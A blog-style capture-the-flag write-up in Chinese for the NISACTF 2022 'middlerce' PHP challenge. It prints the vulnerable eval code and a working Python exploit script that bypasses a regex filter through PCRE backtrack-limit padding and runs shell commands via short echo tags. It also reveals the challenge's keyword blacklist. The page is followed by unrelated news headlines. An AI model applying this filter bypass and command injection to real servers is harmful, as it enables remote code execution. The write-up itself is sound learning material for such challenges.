NSS[NISACTF 2022]middlerce
https://www.ctfer.vip/problem/1897
啊感觉今天只写一道太少了,正好翻到了nss上大佬的web入门学习顺序,发现最后的一道题自己还没做,于是正好补上,"入入门"
然后这里再补充一下:因为【NISACTF 2022】hardsql和今天的另一道题:NSSCTF[第五空间 2021]yet_another_mysql_injection解答过程差不多,只是多了waf,过滤了char,将char换成chr或者ox的格式就行了,就不再另开一篇了。
(相关资料图)
言归正传,上一题是不是忘了用这个隔开了= =
hint:WEB PCRE绕过 RCE
<?phpinclude "check.php";if (isset($_REQUEST['letter'])){ $txw4ever = $_REQUEST['letter']; if (preg_match('/^.*([\w]|\^|\*|\(|\~|\`|\?|\/| |\||\&|!|\<|\>|\{|\x09|\x0a|\[).*$/m',$txw4ever)){ die("再加把油喔"); } else{ $command = json_decode($txw4ever,true)['cmd']; checkdata($command); @eval($command); }}else{ highlight_file(__FILE__);}?>
上一题发现截图的代码不好看清,所以还是复制了,没报错就继续写:
首先是一个很严格的过滤:
if (preg_match('/^.*([\w]|\^|\*|\(|\~|\`|\?|\/| |\||\&|!|\<|\>|\{|\x09|\x0a|\[).*$/m',$txw4ever)){
有多严格呢,你自己做的时候就体会到辣,
^.*
是匹配所以的意思,如果你看过p神的博客,那么你对这段句子就很熟悉:
https://www.leavesongs.com/PENETRATION/use-pcre-backtrack-limit-to-bypass-restrict.html
快去看!
这里就到了我们的hint里pcre提示的地方了,在p神的博客中,讲到了pcre回溯次数绕过安全限制的问题,这里如果讲原理一个是我不一定讲的懂讲的明白,二一个是需要太多时间了,我就不献丑了,大家可以去p神博客看看具体过程,这个绕过限制的结论是:
我记得这个知识点以前讲过,首先是100万次,肯定是post,其次是需要脚本,
接着看:
$command = json_decode($txw4ever,true)['cmd']; checkdata($command); @eval($command);
在我们绕过限制后将command进行json格式编码,json值的名为cmd,这个checkdata,没有看到具体内容,但是肯定是某个黑名单类的,那这类命名都是check+变量,猜测上传的变量名字为data,那么这里应该是在check.php中
那么我们需要考虑的是两点:
首先:过滤了什么,目前不知道 其次:怎么回显结果,eval后没有echo
那么过滤问题只能试,回显结果:
https://blog.csdn.net/weixin_53090346/article/details/125361948
短标签代替echo的效果进行输出:<??>和<?=?>。<??>相当于对<?php>的替换。而<?=?>则是相当于<? echo>,<??>写法需要开启short_open_tag,<?=?>则是默认开启。
其他的还是看payload讲解吧:
https://www.cnblogs.com/yb0osing/archive/2022/10/30/2022NISACTF_web.html
import requests
url = "http://1.14.71.254:28931/"
# 直接构造json串
'''
注意细节:
这样是不对的:'{"cmd":"?><?= `ls`?>;","overflow":'+"-"*1000000+'}'
因为:"overflow":'+"-"*1000000+'}' 这里拼接完成后 - 并没有引号包裹 导致错误
正确的应该给外层-加上引号 如'{"cmd":"?><?= `ls`?>;","overflow":"'+"-"*1000000+'"}'
因为-没有在正则的[]里面 所以可以使用
'''
data='{"cmd":"?><?= `nl /f*`?>;","overflow":"'+"-"*1000000+'"}'
resp = requests.post(url=url,data={"letter":data})
print(resp.text)
data='{"cmd":"?><?= `nl /f*`?>;","overflow":"'+"-"*1000000+'"}'
data = '{"cmd":"?><?= `tail /f*`?>", "#":"' + "#" * 1000000 + '"}'也行
这里?>的目的,原话是:
在尝试过程 system啥的被禁 我们可以闭合前一个 构造下一个php标签绕过
我不是很懂。
而<?= `nl /f*`?>;是<?=?>做echo效果
nl /f*和tail /f*是输出flag文件内容,然后后面是绕过限制,其中"-"啊"#"啊换成例如@这种特殊字符就行啦,就是你键盘上12346上面的字符应该都行= =我没试过其他的辣。
然后是格式写法,最后在脚本下输出结果。
得到flag:
当然我还想看看过滤了什么,改一下命令:
<?php function checkdata($data){ if (preg_match("/\^|\||\~|assert|print|include|require|\(|echo|flag|data|php|glob|sys|phpinfo|POST|GET|REQUEST|exec|pcntl|popen|proc|socket|link|passthru|file|posix|ftp|\_|disk|tcp|cat|tac/i",$data,$match)){ die('差一点点捏'); } }
写check.php还是黑名单,改成c*就行了。
那么这道题也是这样结束辣,学了一两个小知识,和一个重点绕过手法,当然p神的回溯绕过博客还是得多看看的= =会学到很多的。
那么,期待我们下一题再见!
-
余佳文为空头承诺道歉 90后网络创业要防泡
在国家政策层面鼓励万众创新、大众创业的背景下,如今在中国创业的门槛已经非常低了。...
-
试点一年仅签约12户 以房养老“蛋糕”好看
徐 骏作(新华社发)2014年7月1日起,中国保监会在北京、上海、广州、武汉开展住房反向...
-
中国发力流通体制改革 疏通“大动脉” 给
流通业一头连接生产,一头连接消费。流通业的发展既是经济转型发展的新引擎,又是大众...
- 日新闻排行榜
- 周新闻排行榜
- 月新闻排行榜
- NSS[NISACTF 2022]middlerce2023-02-01
- 每日焦点!苍南:夯实南大门现代化“硬支撑2023-01-31
- 环球速看:国网南充供电公司第一时间进行保2023-01-31
- 每日消息!A股市场1月收官:沪指涨5.39%,创2023-01-31
- 世界今头条!春节营销复盘:六大变化 锚定2023-01-31
- 环球速读:安州公安以打开路 着力保护动植2023-01-31
- 焦点热讯:抓实党建,为基层治理赋能2023-01-31
- 环球热文:汇鸿集团(600981.SH)发预亏,2022023-01-30
- 腿酸胀难受是怎么回事_腿酸2023-01-30
- 返岗“直通车”情暖返工路2023-01-30
- “年味浓起来”——2023年春节五粮浓香带给2023-01-30
- 全球热点!QZZN论坛 qzzn论坛官网2023-01-30
- 胡鑫宇家属代理律师称“真相很可能藏在录音2023-01-30
- 世界微头条丨2023最火的8首打油诗,太有才2023-01-30
- 环球最资讯丨林襄兔年进军日本「盼大街小巷2023-01-29
- 【独家】上海近5年逾99%新生儿接受先心病筛2023-01-29
- 天天快消息!天气将大“变脸”,风雨雪齐“2023-01-29
- 环球微速讯:“七一勋章”获得者、中国工程2023-01-29
- 【世界快播报】【间谍教室】#04 File《愚2023-01-29
- 每日看点!有实力又实惠 带你体验22款哈弗2023-01-28
- 当前时讯:《三体》史强赵达是好人吗 剧中2023-01-28
- 春节国内出游超3亿人次 恢复至2019年同期2023-01-28
- 天天观速讯丨天气晴朗,气温回升!北京市今2023-01-28
- 热点在线丨李德道_关于李德道简述2023-01-27
- 莎劳伦视频_莎劳伦2023-01-27
- 每日消息!音乐家柴亮:人生如果能重来,我2023-01-27
- 焦点关注:天地劫手游下一个联动是侠客风云2023-01-26
- 每日快播:茸仗chapter7终于来啦!米斯达和2023-01-26
- 世界信息:综03-3了解银行间债券市场现券交易2023-01-26
- 重点聚焦!沙溢时隔16年再扮白展堂被群嘲,2023-01-25